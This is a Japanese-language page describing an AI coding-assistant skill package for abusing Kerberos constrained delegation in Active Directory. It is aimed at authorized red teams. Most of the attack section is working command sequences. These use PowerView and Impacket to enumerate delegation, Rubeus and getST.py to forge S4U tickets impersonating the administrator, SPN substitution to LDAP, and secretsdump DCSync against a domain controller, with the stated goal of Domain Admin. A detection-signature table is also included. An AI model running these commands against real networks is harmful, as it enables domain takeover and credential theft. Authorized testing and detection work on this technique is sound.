exploiting-constrained-delegation-abuse について
Active Directoryの制約付き委任を評価する、許可を得たレッドチームやペネトレーションテスター向けのセキュリティテストスキルです。設定の列挙、S4Uによるチケット要求、関連する検知指標を扱います。
主な機能
- 01制約付き委任のアカウントと対象の列挙
- 02S4U2selfとS4U2proxyによるチケット要求
- 03代替サービス名とプロトコル遷移のテスト
- 04チケット要求と委任設定変更の兆候特定
活用シーン
- 01許可を得たテストで委任設定のリスクを評価
- 02管理された環境で攻撃痕跡を分析
- 03委任の悪用を検知する仕組みの構築
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-constrained-delegation-abuseインストール後、Claude Code で/exploiting-constrained-delegation-abuseを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.py詳細
制約付き委任の悪用
法的通知: このスキルは、許可されたセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する不正使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
概要
Kerberos 制約付き委任(KCD)は、サービスがユーザーになりすまして、そのユーザーに代わって特定のサービスにアクセスできるようにする Windows Active Directory の機能です。委任先は、msDS-AllowedToDelegateTo 属性で定義されます。攻撃者が、制約付き委任が設定されたアカウント(特に TRUSTED_TO_AUTH_FOR_DELEGATION フラグが設定されたアカウント)を侵害すると、Kerberos プロトコル拡張である S4U2self および S4U2proxy を使用して、委任先サービスに対する任意のユーザー(Domain Admins を含む)としてのサービスチケットを要求できます。委任先に、ドメインコントローラー上の CIFS、HTTP、LDAP などのサービスが含まれている場合、ドメイン全体が侵害されます。S4U2self 拡張は、侵害されたサービスに対する任意のユーザーに代わる転送可能チケットを要求し、S4U2proxy はそのチケットを許可された委任先に転送します。
使用する場面
- 制約付き委任の悪用を伴う、許可されたセキュリティテストを実施する場合
- 管理された環境でマルウェアサンプルや攻撃の痕跡を分析する場合
- レッドチーム演習やペネトレーションテストを実施する場合
- 攻撃手法の理解に基づいて検知機能を構築する場合
前提条件
- レッドチームの概念とツールに関する知識
- 安全に実行するためのテスト環境またはラボ環境へのアクセス
- 必要な依存関係をインストールした Python 3.8 以降
- あらゆるテスト活動に対する適切な許可
目標
- ドメイン内で制約付き委任が設定されているアカウントを列挙する
- 価値の高いサービスの委任先(msDS-AllowedToDelegateTo)を特定する
- S4U2self と S4U2proxy を悪用して Domain Admin になりすます
- 特権ユーザーとして、委任されたサービスのサービスチケットを取得する
- 対象ホスト上の委任されたサービス(CIFS、LDAP、HTTP)にアクセスする
- 制約付き委任の悪用を通じて Domain Admin に権限昇格する
MITRE ATT&CK マッピング
- T1558.003 - Kerberos チケットの窃取または偽造:Kerberoasting
- T1550.003 - 代替認証情報の使用:チケットの受け渡し
- T1134.001 - アクセストークンの操作:トークンのなりすまし/窃取
- T1078.002 - 有効なアカウント:ドメインアカウント
- T1021 - リモートサービス
ワークフロー
フェーズ 1:制約付き委任の列挙
- PowerView を使用して、制約付き委任が設定されたアカウントを見つけます。
# Find users with Constrained Delegation Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Find computers with Constrained Delegation Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Using AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl - Impacket の findDelegation.py を使用します。
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - BloodHound CE を使用します。
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate - TRUSTED_TO_AUTH_FOR_DELEGATION フラグ(プロトコル遷移)を確認します。
# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
フェーズ 2:Rubeus による悪用(Windows)
- 制約付き委任アカウントのパスワードまたはハッシュがある場合:
# Request TGT for the constrained delegation account Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash> # Perform S4U2self + S4U2proxy to impersonate administrator Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /ptt # Alternative: specify alternate service name Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt - 単一のコマンドで TGT の要求と S4U を組み合わせます。
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
フェーズ 3:Impacket による悪用(Linux)
- S4U プロトコル拡張を介してサービスチケットを要求します。
# Using getST.py with S4U getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123' # Using hash instead of password getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \ -dc-ip 10.10.10.1 domain.local/svc_sql # Use the obtained ticket export KRB5CCNAME=administrator.ccache smbclient.py -k -no-pass domain.local/[email protected]
フェーズ 4:代替サービス名の悪用
- Kerberos サービスチケットはチケット内の SPN と照合されないため、SPN の置き換えが可能です。
# Request CIFS ticket, then use it for LDAP (DCSync) getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -altservice LDAP/DC01.domain.local \ -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123' export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/[email protected] - この手法が機能するのは、チケット内のサービス名がセッションキーに暗号学的に結び付けられていないためです。
フェーズ 5:プロトコル遷移攻撃
- アカウントに TRUSTED_TO_AUTH_FOR_DELEGATION が設定されている場合:
# S4U2self obtains a forwardable ticket without requiring the user to authenticate # This means we can impersonate ANY user without their password getST.py -spn CIFS/DC01.domain.local -impersonate administrator \ -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123' - TRUSTED_TO_AUTH_FOR_DELEGATION が設定されていない場合、S4U2self チケットは転送不可となり、S4U2proxy は失敗します(リソースベースの制約付き委任を使用する場合を除く)。
ツールとリソース
| ツール | 用途 | プラットフォーム |
|---|---|---|
| Rubeus | S4U Kerberos チケット操作 | Windows (.NET) |
| getST.py | S4U サービスチケット要求(Impacket) | Linux (Python) |
| findDelegation.py | 委任の列挙(Impacket) | Linux (Python) |
| PowerView | AD 委任の列挙 | Windows (PowerShell) |
| BloodHound CE | 委任経路の視覚的な分析 | Docker |
| Kekeo | 高度な Kerberos ツールキット | Windows |
委任タイプの比較
| タイプ | 属性 | 範囲 | 攻撃の複雑さ |
|---|---|---|---|
| 非制約 | TRUSTED_FOR_DELEGATION | 任意のサービス | 低(TGT を取得) |
| 制約付き | msDS-AllowedToDelegateTo | 特定の SPN | 中(S4U の悪用) |
| 制約付き+プロトコル移行 | + TRUSTED_TO_AUTH_FOR_DELEGATION | 特定の SPN | 中(ユーザー認証が不要) |
| リソースベース(RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | ターゲット上 | 中(書き込み可能な属性) |
検出シグネチャ
| 指標 | 検出方法 |
|---|---|
| S4U2self チケット要求 | イベント 4769 で、通常とは異なるサービスと偽装を確認 |
| S4U2proxy 転送チケット | イベント 4769 で、委任フラグが設定されていることを確認 |
| チケット内の代替サービス名 | 要求された SPN と実際のサービスアクセスとの不一致 |
| Rubeus.exe の実行 | EDR によるプロセス検出、コマンドラインのログ記録 |
| 委任構成の変更 | msDS-AllowedToDelegateTo の変更に関するイベント 5136 |
検証基準
- 制約付き委任が設定されたアカウントを列挙した
- 委任先(msDS-AllowedToDelegateTo)を特定した
- ターゲットユーザーの S4U2self チケットを取得した
- S4U2proxy チケットを委任先に転送した
- 委任されたサービスへの特権アクセスを検証した
- 代替サービス名への置換をテストした
- プロトコル移行機能を評価した
- チケットのエクスポートとアクセスの証明を含む証拠を文書化した